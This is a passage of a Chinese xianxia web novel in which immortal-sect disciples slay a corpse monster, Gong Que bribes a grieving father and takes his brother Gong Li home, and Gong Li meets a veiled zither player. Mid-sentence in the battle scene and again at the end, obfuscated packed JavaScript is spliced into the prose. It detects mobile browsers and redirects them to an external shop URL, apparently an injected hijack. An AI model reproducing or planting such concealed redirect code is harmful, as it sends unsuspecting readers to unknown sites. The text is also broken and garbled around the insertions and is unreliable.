闻尘不能在此多待,他把地上衣服收理整齐,褪下外袍给潇泉盖好,只身离开山洞,回到幽林中重新追捕暴尸,留下银龙看守潇泉。 苏府邪气被净化得差不多了,宫璃见两人还不回来,打算带一众子弟进山寻找。谁知还没出发,闻尘恰时现身。 宫璃的紧张神色有所缓和,“百里大人你们没事吧?姐姐呢?您佩剑呢?” 闻尘:“没事。她和银龙在一起,目前安全。” 其他子弟道:“百里大人,我们刚才在府邸听见外面有奇怪的低吼声,看它破坏力量极强,没敢冒然行动,应该就是我们要找的那只怪物。它刚路过,肯定还没走远。” “好,我知道了。”闻尘交代清楚暴尸的威力弱点,领着他们随踪迹追去。 那只暴尸好像知道自己被下达追杀令,怎么找也找不见,闻尘不得不启用千里眼,在一处土丘上捕到它身影。 暴尸正在掘土翻尸,不知是全然不怕死还是在食同类增长功力,居然没跑。子弟们飞快赶至,依次列阵凝聚灵力形成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116454|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金光屏障牢牢困住暴尸。 闻尘没有第一时间斩除干净,飞出千魂伞就要降收邪气,不料此举激怒邪主,它控制暴尸怨道:“想留尸首?没那么好的事!我偏不如你们意!” 暴尸眼尖,挑出一名术法偏弱的仙门子弟准备鱼死网破。千魂伞“哗”地撑开,掀起一场剧烈龙卷暴风将其卷入,邪主撕心裂肺的叫喊和肉身被撕裂的声音钻进所有人耳里。不过一盏茶工夫,龙卷风停息,地上只剩些许零散碎屑。 陈士忠的叫喊从对面传来,“儿啊啊啊——我的儿!” 他跌跌撞撞跑来捡拾碎片,失声痛哭道:“不是说会留我儿尸首吗?!你们堂堂仙门世家怎的不讲信用!我寻子多年,长年难眠,就算你们年轻,不曾为过人父,可总能体会父母之亲情吧?!为何要赶紧杀绝?这是为何!” 千魂伞没有闻尘指令一般不会主动出击,但危急关头除外。邪祟一旦被它锁定,很难有逃生机会。如有闻尘指令,尚有转圜余地,可惜不是。 是与不是没有意义了,保尸灭鬼本就是痴人说梦,神仙难救。 陈士忠满眼红丝,“好一个除恶扬善、除魔奸邪的仙门家,连一具尸体都保不全,这天下要你们又有何用?!我陈士忠虽行布商生意,但不代表不懂修仙,你们这是把人当猴耍!是也不是?!” 宫璃挡在闻尘面前,“陈老爷,有什么事冲我来,是我没看好千魂伞。但我也有话想对您说。您儿子情况特殊,若我们真能做到保尸除秽,损失不只是一只邪主和一具肉身,我们同样可能死在这儿。暴尸的杀伤力想必您侍从已经说清楚了吧,好歹是斩妖除魔过的,总不能这个情况都看不出。我们当中没有人能缉杀暴尸,只有百里大人可以,你们估计也悬。我看你们现在护卫没有之前多了,想来也遭遇了不测。” 陈士忠:“我呸你大爷!少跟我扯东扯西,不按我意愿行事,你们还配为百姓效劳?!” 宫璃一听,也陡然发怒,“是不是非得我们牺牲自己来换你儿子的尸身,你才肯认我们是光耀仙门的英雄?你有没有想过,仙门没有几人是凤凰,大多是无权无势、堂堂正正考进来的普通人。你有儿子没错,可他们就没有爹娘了吗?即便没有亲人,总该为自己留点余地吧?经年之久,只要是人终究会死。更何况,您儿子被邪主侵占多年,已经融为一体很难分离!千魂伞看他没救了才这样做,你不懂就不要乱污蔑人!” 青泽和大多仙门世家不同,不看出身不看年龄,只要有资质就有机会,小到五六岁,大到二十几岁。有少年成才的,有长年积累的,有儿时当家成了孤儿的,也有父母双全幸福美满的。 有的父亲母亲实在养活不起,会带孩子到青泽看有没有根骨,有便让青泽考虑,无则原路返回,另请高就。斩妖除魔要有本事傍身,进了这门就意味着生生要与妖魔接触。青泽不能因一时心软害了孩子的后半生,没有修炼根骨,将人请进来,是让其送命。 在场门生子弟大多出生平民,个个年少风华,对此深有感触。虽然宫璃出身仙门世家,实打实含着金汤匙降世,但他自小跟随闻尘等人,所闻所见纷纷杂杂,说起理来没人能驳,因为都是实话。 陈士忠喝道:“放肆!照你这么说,我儿子是活该死吗?!” 宫璃:“我并无此意,但我知道他要是不进哀乐山,根本不会落得如此下场!苏府更不可能惨遭毒手!你儿子屠尽你座上宾满门,你怎么不关心他们?倒是理直气壮说起我们来了。” 人人都惜南山山庄大少爷年纪轻轻便被邪气缠死,实际是他自己为了寻求刺激,带亲朋入哀乐山探险,结果永远走不出去了。南山庄主嫌丢人,抹去事实,只有敏锐之人看出其中破绽。不过人死已在哀乐山,真相如何,不再重要。 陈士忠气得满脸通红,一掌劈来,“那还不是你们奸邪不力!” 闻尘一把拉住宫璃往后站,抬掌迎下这击。两股势力冲击爆发,围观众人皆被震退几步。 陈士忠挥袖,“青泽山办事不力,老夫先行押回山庄,之后再请示主宰评判!” 他身后所有侍卫果断抽刀,青泽弟子不甘示弱纷纷亮剑,两方气势汹汹交锋,形势剑拔弩张。 闻尘没有进攻之意,却也定在原地半步不退。飒飒冷风吹拂他发梢长袖,其冷淡气质总能逼人退避三舍,不敢轻举妄动,生怕他下一步使出无情狠招。 突然,上方传来一声尖亮鸣啼,所有人仰望看去,神情各异。 一名男子从天而降,头顶朱雀祥云冠,朱红墨黑相间的长袍尽显威猛身材,生得一副温润相,但眉眼却蕴狠戾,尤有一股狂傲轻蔑之气,粗看高贵不能惹,细看脾性古怪不能惹,总之怎样都惹不得。 这位便是宫家长子宫榷,仙号金鹤,著有“人间富贵花”之称。 对方位高权重,所有青泽子弟行礼尊称,“金鹤仙君。” 宫榷点头回应。 宫璃待在原地彻底傻眼,“哥,你怎么……来了?” 宫榷瞪他一眼不予理会,不紧不慢负手走入人群之中,“多年不过来,我竟不知哀乐山变得这般热闹了。” 他的乍然到来使得氛围微妙许多,既不和闻尘交好,也不熟陈庄主,怎么看都像一场鼎立之争。 陈士忠重述对闻尘他们的那套说辞,宫榷内心毫无波动,“仙门斩妖除魔当然是因为人命关天,要救人于水火。不过在水火面前得分清轻重,不能救小失大。伤敌一千自损八百的事,应该没有哪个傻子会做。难道我弟弟说的话,你们没听懂?” 他身后的一众朱雀门弟子皆是净面秀脸,身姿挺拔俊雅,正如天鹅不可玷污冒犯,不论男女皆是眉目冷峻、目带审判。他们跟宫榷一起出门办事,行为风格颇有他风范,也是他的得力下属。 一桩灭门惨案招来了最不好惹的宗门,就看陈士忠他敢不敢得罪了。 19. 嵩云秦树久离居 宫榷举止淡定从容,轻轻冷笑一声。 念子心切的陈士忠在强力压迫下被逼退一步,但硬着胆道:“青泽办事不力,我只是求个公道,何错之有?金鹤仙君,你不能仗着家世显赫又深得主宰器重,借着权势地位来压我们,难道不怕昆仑降罪?” 宫榷不怒反笑:“好大的口气,还敢威胁起我来了。今日我不想节外生枝,能好好说就好好说,不能好好说就不要怪我心狠手辣。我记得,你南山山庄是做布商生意的吧?” 陈士忠预感不妙,厉声道:“是又如何。” 宫榷:“我想起来,曾有人跟我说某家布行因为私吞税钱被拆行实戒,下场可是凄惨无比,神仙难救。虽然你们南山山庄经商多年还屹立不倒,但难保交出去的税钱没有遗漏之处……你觉得,我说的对吗?” 凡是行商的仙家都得交一定税钱给公堂,公堂是专门救济百姓地方的大家之堂,其中财钱宝物通常是为应急,比如天灾人祸造成的不可逆局势,不然一般情况不会出手。 堂内财宝来路主要聚收行商仙门大家的少量收支,这是九州历来的规矩。若是运气好,还有好心仙君打发赏赐。前一规矩百年不变,后一规矩皆看自愿。但凡违逆不交税者,违者按堂法处置。 南山山庄非寻常百家,和仙门攀有亲缘关系,庄内上下更是有百余名修士坐守,自然被列为行商仙门大家之一了。 陈士忠:“金鹤仙君此言何意?我南山山庄行事向来光明磊落,真如你所说,难道公堂自己没有眼睛看?” 宫榷嗤笑,“这天底下,敢在权力之下犯禁的人,哪个不是上面有能遮天的手?别人查不出来,你还怕本君查不出来?” 陈士忠眼神一狠,“那金鹤仙君的意思是要去查了?” 紧张到开始冒火星的空气明明一句话就能引爆,宫榷却缓缓吐声:“你哪只耳朵听见了?” 陈士忠不明所以。 言罢,宫榷拎出一袋明晃晃的锦囊,朱雀门子弟动作整齐划一地背过身去,只留两家面面相觑。 宫璃急道:“哥!你怎么能……” 当着这么多人的面拿钱压事,万一有人上报昆仑如何是好? 宫榷语调听不出情绪,“臭小子皮痒了?给我老实点,待会儿给你算账。” 宫璃赶紧缝嘴噤声,躲到闻尘身后不敢嚣张了。 宫榷接着道:“陈老爷,适才我说的话,你就当听个故事。我这次来只为带走我弟弟,这袋银子算是一点心意,只要你答应不再纠缠此事,它就属于你。对了,山上的仙人应该已经在去往公堂查账的路上,你可得好好回想一下,到底有没有纰漏之处。” 陈士忠眼角抽搐一下,咬牙接过银子,“早闻金鹤君的大名,今日一见,果真如此!我们走!” 他转身朝林外走,宫榷突然伸掌一拍,一道阴风破空袭去。 陈士忠的侍从立刻拔剑,以白刃挡回飒飒阴风的袭击,然后拉住陈士忠滑退数十步隔开距离。山庄护卫们齐齐想要拔剑,陈士忠抬手拦住,眯起眼睛,死死盯着宫榷。 宫榷冷声道:“以后谁再动我宫家的人,就是与我为敌。” 言外之意是,他这一掌打得理所应当。因没伤人,权当是一个警告。此外,这袋银子就是为了打发他们离开,免得找事。宫榷来之前特意去查了他们的布行有没有贪公,好拿捏把柄。 陈士忠风风光光活了几十年,靠的就是遍布各地、远近闻名的布行发家。被宫榷戳到痛处,自然不敢像刚才那样胆大妄为敲诈勒索了,拿钱跑是最好的选择。 不过方才他说的久仰仙君大名,算是一个有力回击。 这大名可不是什么好名声,谁都晓得宫榷因为某些原因导致在家族处于尴尬颇为的地位。他为了证明自己一步步突破至第十一境,历经数年磨炼,才获得家族信任接手朱雀门。 确切来说,是获得宫家主母的信任。只是,如今主母育下二子,又独宠二公子,大家纷纷猜测宫璃长大以后可以不费吹飞之力就夺走他哥拼命得到的一切,然后大的彻底沦为弃子。当然,这都是猜测,最后结果如何,谁都说不准,毕竟小的悟性不如大的,又贪玩乱跑,能不能在适宜年龄段突破第十境都是一个问题。 如果突破不了也没有危机可言,宫二公子不仅有母亲撑腰还有哥哥庇护,大家一个劲儿说他好命,不管怎样都有人兜底。 解决完琐事,宫榷调整好心态,道:“百里君,好久不见。” 闻尘纹丝不动,一声未应。 宫榷轻扯嘴角,“我觉得你们青泽有必要找一下风水大师,看看祖坟哪里出了问题。不论老小都摆着一张面瘫脸,这样下去也不是办法。” 宫璃见怪不怪,哥哥一直看百里大人不顺眼,没少出言讥讽,每次见面都会说“我弟呢”“我弟在何处”“你最好别让我弟出意外”“还我弟来”之类的话。百里大人又是一个闷葫芦,不是点头就是摇头,没应就是烦了。哥哥一吃瘪就容易原形毕露,明里暗里指骂人。 这回闻尘没有冷落,“有事直说。” 这冷冰冰的话在宫璃眼里和“有屁快放”没什么两样,估计哥闷在鼓里还不知道。换句话说,他被骂了都不知道。想到此,宫璃想笑又不敢笑。 宫榷:“我总觉得哀乐山有点奇怪,不止爆发了妖气,还有不易察觉的魔气。难道百里君没有察觉?” “并无。” “这不可能。” “你非我。” 宫榷不气不恼,平息吐声:“要真是魔气,百里君一定会很开心吧。” 闻尘撩起眼皮,冷冷看他。 宫璃嗅到三分火药味,站出来道:“哥,你说什么呢?不要污蔑百里大人。” 一听他说话,宫榷温和的脸当即生出两分怒意,“臭小子,吃的饭还没我喝的水多,这就已经胳膊肘往外拐了?哪天被人害死在外面都不知道。” “你就不能盼着我点好吗?整天瞎想有的没的,万一哪天成真——”宫璃自顾说着,突然被两根手指抵住唇瓣。 闻尘:“慎言。” 对面,宫榷脸上的怒意呈现一丝不自然,额角青筋忍了又忍,到底把想说的话吞了回去,言简意赅直中要害,“跟我回家。” 宫璃抓紧闻尘衣袖,“回去又没事干,怎么天天让我回去?不去不去。” 宫榷脸色有点难看,“给你脸了?” 没人好意思插手兄弟俩的私事,加上宫榷眦睚必报不好得罪,两派门生无人敢细言碎语,只顾观望。 只见宫榷掏出一条金绳准备收网抓鱼似的逮向少年。绳头如灵蛇有目的飞窜,宫璃暗叫不好,在闻尘身后躲了两下觉得过意不去,拔腿又往更远的地方跑,边跑边叫:“我不是说了我在这边待两天就回去?你怎么还不信呢?你抓我也没用,我还是会跑出来!” 宫榷灵活操控着金绳,“你跑一次,我抓一次。” 宫璃知道每回被抓都逃不过,但还是想奋力抵抗,爬手爬脚四处忙乱,还没认输便又被金绳逮了个正着,捆着头发套在树上,他一用力挣扎就哎哟哎哟喊头疼。 宫榷:“跑啊,怎么不跑了?” 宫璃气得干瞪眼,“就算你再有能耐,再怎么抓我,我还是会想尽办法在外面逍遥快活!臭脸金鸡!小爷我要是认栽,我就跟你姓!” 宫榷被这番话气笑,“脑子糊涂了?你不就是和我同姓?” 宫璃刚想骂回去,但看见某些人虚掩着脸面,脖子一下涨红,“笑,笑什么笑!希望你被大金鸡抓的时候也能笑得出来!” “还骂?皮痒了是吗?”宫榷屈指敲了两下他脑袋,然后画符传音,“母亲,抓到这逆子了,何时带到你那儿去?” 不知那头下了什么指令,宫榷带上被缠成粽子的宫璃即刻离开。离别之际,宫璃喊道:“百里大人,我一定会回来的!你要等我!” 宫榷听见这话,翻了一个白眼。 朱雀门和山庄的人走后,哀乐山变得荒凉起来。 青泽弟子得到闻尘允许后,向昆仑传讯此事,再传音给山上的其他同门过来为哀乐山净化邪魔抚慰冤灵。 一炷香过,十几人聚在苏府为死去之人进行最后一场祭礼,确保它们顺利上路,以免沦为孤魂野鬼。 天色渐显鱼肚白,潇泉自然睡醒,发现自己坐在老地方,险些从椅子上 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潇泉的心陡然提高,尽力平复情绪,复问:“何故不走。” 对方似是知道她用意,“等我爹。” 原来如此。潇泉用指尖未干的血迹在空中写下一道复杂符文送与魂灵,反复默念经文,直到空中拂过一阵轻风,她慢慢睁眼,魂灵已消失不见。 招魂引渡,送至黄泉,是为送灵。这是她修行招魂所使的用法之一。 潇泉气虚无力撑地而起,心知短时间内不能再用任何诡术,这具身体吃不消。不过,对方无意救她,她帮其渡送魂灵,也算一报还一报。 她缓了两口气,小心用衣袖擦净指尖血迹,回到原来山路找到银龙,随它来到一片稀疏树林。 林间有一草屋,闻尘坐在木桌前,刚好沏上一杯茶。潇泉稀奇他竟还有这般闲情雅致,过去拿起茶盏一闻,嗅到淡淡苦味,问:“这是什么?” 闻尘让与这盏茶,没有添新杯,“养神汤。” 潇泉看他好像没有喝的意思,“给我喝的?” 闻尘看她一眼,仿佛默认。 他手艺甚好,心思又细,虽然汤味泛苦,但她晓得一定有缓虚养神之效,于是乐呵呵捧盏慢品,“哀乐山风水不好,以后可能还有其他东西出现。仙君怎么打算?向昆仑解释清楚了?” 闻尘:“昆仑要平安镇远迁,不再设守府,打算在山根立镇魂碑。” 镇魂碑世间罕有,昆仑仅有三块,拿出其中一块镇压哀乐山也是下了血本。 潇泉:“叫谁立,你?” 闻尘:“嗯,今晚。” 最近的仙门宗派只有青泽,且立镇魂碑需十境修为以上的修行人,否则会被反噬。方圆之内,闻尘是立碑最佳人选。 潇泉:“那些子弟还在巡逻净山?” 闻尘:“是。” “你呢?在这儿干嘛?” “等你。” 潇泉没想到他说得如此平静淡然,以前肯定会扭捏半天,结果还是说不出口。她装傻一乐,扶椅坐下,把衣服还他,“衣服掉地上了,有点灰尘,回去洗了再穿吧。” 闻尘把衣服放在一旁,执着黑棋落在白棋旁,眉眼平淡柔和,不是太全神贯注,似在单纯消遣。因为没穿外袍,可以看见他里面穿着交领窄袖练功服,领口随动作轻轻曲动,可以窥见左边锁骨周边位置。 潇泉无意扫过,本想转移视线,但在看清一个印记之后,蓦地定睛。 在仙门中,黑色印记只有受诸神审判、遭到强烈谴责与罪罚才会留下,是一种旷世奇辱。耻辱到哪种地步,曾有仙君因此印记忍辱负重,最终还是抵不住外界眼光,跳崖自亡。 这种印记通常出现在十恶不赦的逆徒身上,为何……闻尘会有? 潇泉脑海闪过无数回忆,突然想起那日宫璃因为提及“招魂”二字被罚面壁,隐隐觉察到闻尘被烙上黑色印记的原因是什么。 只是具体如何,她却不知,也无法想象。 20. 嵩云秦树久离居 潇泉不由产生愧意,别开视线不再看那黑色印记,抿一口汤道:“今天回去?” 闻尘:“明日。今日留下来观察。” 身边没个陪伴的人,潇泉还不习惯,“宫璃呢?” 闻尘:“被他哥接回去了。” 潇泉装傻问:“他哥?就是那位什么鸟鹤仙君?” 闻尘收好她喝完的空杯,“金鹤。” 潇泉装作似懂非懂地点头,“你这么一说,我想起来了。这位好像和你是同一时期登仙的吧?做了两百年的仙君,却有一个十几岁的弟弟。这年龄相差不是一般大……” 这么看来,宫榷看宫璃还真是像父亲对孩子一样。 闻尘:“这些,你从何得知?” 潇泉:“我又不是呆子,去镇上随便打听打听就知道了,这还用问?” 闻尘长指轻弹,指上白棋如流水般徘徊,“你在平安镇一般会干些什么?” 潇泉明澈的眼睛轻轻弯着,似笑非笑,“非亲非故,你问这个作甚?我好像没有义务告诉你吧?百里大人。”她故意拖长尾音伪装一副天真懵懂的样子,其中掠过一丝她自己都不曾觉察的狡黠。 可即便这般矫揉造作,闻尘还是没有反应,跟块木头一样。潇泉暗暗叹息,看来弱者示弱对他没有任何用处,属于是媚眼抛给瞎子看。 闻尘无声须臾,把白棋放回棋罐里,抬首看她,“平安镇要搬迁,你是走是留?” 怎么突然这样问? 潇泉抱着一丝希冀不确定问:“百里大人这是有意留我?” 闻尘微一颔首。 潇泉有点惊讶,把原先想好应对的话逐一道来,“我自幼一人生活,没有自保能力,不过恰好遇见你们,我想也许是上天的眷顾……若百里大人不嫌弃,我留下也可以。” 她别无良策,平安镇的孤女之身到底是凭空杜撰,她不可能真去镇上生活,闲云野鹤非她本意。去其他地方寻找修习灵根之法也够呛,估计还没找到就半路发生意外了,所以不管怎样青泽都是唯一选择。 她,必待不可。 哀乐山守府覆灭一事很快传遍昆仑,立镇魂碑一事,众说纷纭,说法不一。 立镇魂碑非同小可,一旦确定位置,至少要等上五十年才能重新放置,就怕别处邪魔更甚,这块碑想动也不能动了。 “那可是哀乐山,女魔头曾住过的地方,不会再有第二个凡尘之地会这般妖孽。除非是魔域黄泉。” 说话的女子靠在美人椅上,富雅之姿中透着淡淡书香气,玉面清丽,桃唇轻薄。 一旁的仙侍稳稳捧来一蛊香,“宫主。” 宫玉泷英闻香心舒,声音透着浅淡的倦意,“不说这些了,昆仑的决断皆循因果。或许,哀乐山本就该有一座镇魂碑,只是可惜了苏家。” 仙侍:“凡事皆有定数,宫主不必为不相干的人忧心。” 宫玉泷英点头,另问:“来了吗?” 仙侍:“刚到。” 话落,院外响起少年的声音:“不是过了母亲生辰?怎么又绑我回来了?我看你就是看不爽我在外面快活,喜欢绑我回来受苦。姓宫的,我这辈子都不会原谅你!” “随你便。” 宫榷扛着少年大步进门,见女子一脸淡定倚坐在庭院的椅子上,从容把宫璃从肩上放下来,拱手行礼,“母亲。” 欲要发作的宫璃连忙打住,扯开身上乱七八糟的金绳,老老实实正身行礼,“母亲。” 宫玉泷英微弯唇角,招手唤道:“晚晚,过来。” 宫璃偷瞟兄长一眼,小跑到女人面前,“母亲。” 宫玉泷英捧着他两颊从头到尾看了个遍,“你哥又欺负你了?” 宫璃心一咯噔,赶紧摇头,“没有没有,是我不听话哥才强行绑我来的。” 不远处,宫榷神情始终冷峻,仿若未闻目视前方。 宫璃抿唇,“母亲,您不是一直在静和园吗?怎么跑我这儿来了?” 宫玉泷英笑道:“怎么,你不想母亲来?” 宫璃摆手,“没有。” 仙侍搬来一张椅子,宫璃正襟危坐,时不时往院门口的宫榷递去眼神。宫玉泷英这才正声问:“坐吗?” “不了。”宫榷抱拳退去,一并带走了散落在地的金绳。 弟弟寝居离他的住处有段距离,刚好要经过静和园。宫榷路过园子门口,守园仙侍轻声呼唤,他不予回应,无意识加快了脚步。 自接任朱雀门以来,宫榷很少回家,得空也是在外面的市井闲逛,听曲看戏样样不落,但有时也会因为沉浸时间过长而略感麻木。每次回家,他先会去寝居坐坐适应一下,这次依然如此。 静和园外面的走道幽长静谧,两边鲜花姹紫嫣红。忽有缥缈琴音传来,宫榷停步细听,是从静和园的某座楼里飘来的。 琴音细长悠悠,缥缈怅惘,有独特的个人风味。宫榷走回静和园门口,问仙侍:“他怎么来了?” 仙侍垂首答道:“回大公子,是明海楼差人来重礼答谢宫主的。前阵子,宫主派人帮明海楼镇除凶煞怨鬼,明海楼送来三颗海明珠作为报答,还有蓝凌公子的安神曲,为宫主养神静气。” “好,我知道了。”宫榷步入园中,循声走到奏琴之人所在的阁楼门前,仰头看二楼窗棂,好似能看见真人般。 宫榷对人很少有好奇之心,但蓝凌算是一个例外。 世人皆知他与弟弟相差百余岁,却不知宫璃生父是明海楼的一位琴师,包括整个宫家也不知晓。那年宫榷无意发现蓝凌真实身份,被宫玉泷英知道,得到一句“远离无关之人”。 蓝凌是明海楼最为神秘的一位琴师,听闻样貌丑陋,斜眼歪嘴,从来以面纱斗笠示人。他长有一双好手,弹出来的曲音幽沉空明,与市井流行的琴曲完全相反。不过有人就好他这口,专程跑到明海楼里听他一曲。 关于蓝凌本身,市井言传他出师不凡,曾是一名修士,后来遭遇重创心损身伤,与修道再无缘分,不得已入楼卖艺养活自己。 一个是有名琴师,一个是大家宫主,两人是如何相识的,宫榷能猜出一二。
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蓝凌递出一个精致匣子,“久仰金鹤仙君德才,初次见面不知以何为礼,便挑了这块天然浑成的山玉,还望仙君不要嫌弃。” 宫榷双手接过,“客气。回见。” 蓝凌颔首,“公子慢走。” 出了静和园,宫榷回到寝居打开匣子一看,里面放着两块晶莹圆润的玉石,蓝中带紫,灵气灵动,是品质上等的好东西。 宫榷取出一块,匣中还剩一块,他把这块摆正放好,重新合上盖子。 傍晚时分,静和园比以往热闹些许,宫家宫主设宴于花园,一众乐师手拿乐器坐在高台之上醉心弹奏,丝竹管乐缕缕幽幽,时断时续。 玩腻了的宫璃借着更衣的借口偷跑出来,走在石道上抛玩着一块蓝紫色的玉石。 适才兄长将玉送来的时候说:“乐宴一结束,你就去找那个戴斗笠的当面谢礼。” 宫璃奇怪地嘟囔:“不就是一块漂亮的玉吗?拿点宝贝回礼就是,非得当面谢礼?又不是什么重要的人送的。” 宫榷欲要再言,却在想到什么之后倏地闭嘴,冷声道:“臭小子,人家诚心诚意送过来的玉是精挑细选的,你不要不识好歹。” 宫璃不耐烦撇嘴,“好好好,去就去!啰嗦。” 因为一块玉就得当面道谢,宫璃认为没必要做到这种地步,抓来一只小橘一起在静和园外面的古道上悠闲散步,走走停停蹉跎时间。 静和园内乐声不断,那曲空明琴声不知何时停歇,少年没注意听,继续在道上逗猫儿玩。这时,轻轻的脚步声由远及近,小橘似是看到陌生面孔,吓得赶紧夹紧尾巴钻进一旁花丛溜没了影。 “谁啊,没看到我——”宫璃不悦回头,未说完的话堵在嘴边。 来人头戴白纱斗笠,身着深蓝长衣,瘦瘦高高的身形被夜色烛火照得略显削薄。 21. 嵩云秦树久离居 宫璃路过乐宴那会儿瞟过两眼,这人与其他乐师不同,以斗笠遮去半身容色,只能从身形轮廓分辨出是名男伎,好像是叫什么蓝。 既是登门拜访的贵客,宫璃不能甩脸色,摆出什么也没发生过的客气姿态,“你是刚才在台上奏乐的琴师吧,宴会结束了?” 斗笠向前微倾,男子礼道:“在下蓝凌,见过二公子。” 宫璃摸了摸怀里的漂亮玉石,想起自己与兄长说话时的混账话,愧疚涌上心头,小心拿出玉石问:“这是你送的?” 蓝凌:“是。” 宫璃有点抓耳挠腮,小声道:“谢谢。” 似是看出他的窘迫,蓝凌微笑道:“小公子不必勉强自己,谢与不谢都行。不过能得小公子亲自言谢,蓝某自是会更开心些。” 此人性子温和文雅,宫璃对自己先前的态度越发感到羞愧,不知说什么好,想避开觉得不妥,留下又不自在,寻思半日始终未能想到解决办法,傻愣愣待着不动。 蓝凌主动打破尴尬,“多年没有光顾宫府了,不知二公子能否赏个脸面,带蓝某走一走?” 对方好心给出台阶,宫璃当然乐意下了。 他带蓝凌走完这条古道,游到桃林,看丛中夜行的流萤,再踩着满地的桃花花瓣走到长亭里。两人从礼貌拘束渐渐到亲和起来,无话不谈,不论宫璃是埋怨什么还是自感委屈,蓝凌都细细安慰。宫璃难免心生一疑:这天底下怎么有这么温柔有趣的人。 一路走来,蓝凌没有摘斗笠的意思,宫璃没有勉强,就当他是个说话的朋友。 聊着聊着,蓝凌提起他兄长,“以后尽量少和哥哥闹别扭,不管怎样都是同一根生的,血浓于水。” 宫璃当然明白这个理,只是每次总会控制不住地闹小脾气。他低头踢了踢小石子,纠正道:“不完全是血浓于水,我和他不是同一个父亲。” 蓝凌没有说话。 像想到什么,宫璃仰头望月怔怔出神,有点难过。 蓝凌望向他,“有隔阂?” 宫璃:“没有。” 蓝凌:“那是?” 宫璃酝酿道:“我在想,为什么同一屋檐下,会长出两株颜色深浅不一的花儿。” 蓝凌似乎明白了什么,“各花各色有各香,哪怕同根生,也很难长出两朵一模一样的花,因为它们本就独一无二。” 像找到知心人般,宫璃又忍不住问:“那花谢了该如何?它岂不是一生都作废了?也没个人记着……” 蓝凌:“这不是还有你?” 宫璃呆在原地。 蓝凌接着道:“花开就会花落,你闻过花香,就当它是为你而开,看到花谢,它的一生也不算白来,至少有你记着。” 他像什么都知道,又像什么都不知道。宫璃对这名琴师狂增好感,好奇问:“你是不是叫蓝凌?” 蓝凌微笑:“是。” 宫璃:“你只能在明海楼?不能去其他地方?” 蓝凌:“不能。” 宫璃语气试探,“那,如果我买下你的卖身契呢?” 斗笠微微停顿,蓝凌静默半晌,“蓝某与人有过约定,此生不可踏出明海楼半步。二公子的好意我心领了,但我得信守承诺,所以……不能。” 宫璃为此打抱不平,“什么?这世间哪有把人关着不准出来的道理?太蛮横了!” “代价而已。”蓝凌淡然自若,“蓝某,没什么可抱怨的。” 他问蓝凌是因为什么得留在明海楼,蓝凌说是永远不能窥见天光的秘密,宫璃只好闭嘴不再多问。 明海楼的乐伎不能单独见客太久,蓝凌在规定时间内与宫璃道别,回到静和园。 目送对方离开,宫璃穿过古道直奔某人寝居,门也不敲,一脚踹开冲进去,“哥!” 宫榷正在擦拭柜中玉器,突然被这么喊名,险些手抖把玉器摔了。他怒目回头,“你吃饱了没事做专门夜里踹我门是什么意思?想讨打直说。” 宫璃坦然伸手,“那你打我两下。只能打屁股,不能打脸,不然我哭给你看。” 宫榷翻了个白眼,放回擦干净的玉器,“懒得。” 看着青年转身顾自忙活擦拭宝贝,宫璃靠着案桌道:“哥,我跟那个送我玉的男人说话了。” 宫榷头也不回,“嗯。” “我问了他一个问题。” “什么问题。” 宫璃掰弄手指,声音越说越小,“我问,为什么同一个屋檐下会开出不一样的花,他说各花各色有各香,每朵都独一无二,还说即便花瓣凋零,只要有人记得它的花香,那么就算它来这人间的痕迹……哥,你是怎么想的?如果你有两块出自同一工匠之手的玉雕,但一块色泽鲜艳,一块色泽灰暗,你会丢掉不好看的那个吗?” 宫榷微微拧眉,“我不知道你问这个出于什么目的,但我可以告诉你——不会。” 宫璃眼神微亮,随后五官又微微扭成一团,“如果是工匠不喜欢,故意把它变成这副丑模样的呢?” “怎样才算是丑?”宫榷扭头,“丑了就一定要被丢吗?” 宫璃怔了一怔,奋力点头,“毕竟也是块玉。”说着,少年再也忍不住,流下两行清泪呜呜哇哇哭了起来。 宫榷完全没有预料,这人大晚上踹他房门不说,还说了一些稀奇古怪的话,说着说着又自己哭了起来,弄得他有点力不从心。他放下帕子过去站到旁边,故作好奇打量少年,“你鬼上身了?” 宫璃气得哽了一下,扬手拍他,然后怄气蹲下,“我感觉我好久没来你房间了,每次回来找你你都不在。” 宫榷凝视他顷刻,似是默默叹了口气,跟着蹲下来,“门中事多,哥抽不出身。再说你不也是很少回家?” 宫璃抹了一把脸,“那我怎么看到你在山下喝酒?” 宫榷斜睨他一眼,“出门办事喝点酒有什么问题?” 宫璃抽着鼻子,“你是宁愿待在外边也不想回来吧?” 空气安静一瞬,宫榷直起身来,没有应答,转身继而清理展柜。 宫璃轻哼一声,收回眼泪,不顾形象脱飞长靴直奔床榻,“今天我要在你房间睡!” 宫榷冷不丁道:“这么大人还要找别人一起睡,你脸呢?” 宫璃在床上扭成一团,又气又吼:“你又不是别人,这怎么能相提并论!再说了小时候你不是天天哄我一起睡觉的嘛!” 宫璃自小被家族当作掌心宝贝,但宫玉泷英事务繁忙不常在家,没过两年便由宫榷担起弟弟的一日三餐,除了照顾饮食起居还要关注他的情绪,一有问题必须先哄,一哄就是好几年,没少被折腾。如今这厮长大之后逐渐有了男子气概,却还没改掉爱掉眼泪的习惯,实属让人有点头疼。 宫榷:“白天的时候不知道谁说死不回来,还破口骂我,不知怎么现在又回心转意了。究竟是谁这么两面三刀,这么过分。” 宫璃竖耳听完,翻身下床凑过去,“你还生气呢?不气了行不行?我闹着玩的。” “闹着玩?”宫榷看他,“那下次你还跑不跑?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147616|194969||http|test|mini|href|location''.split(''|''),0,{})); 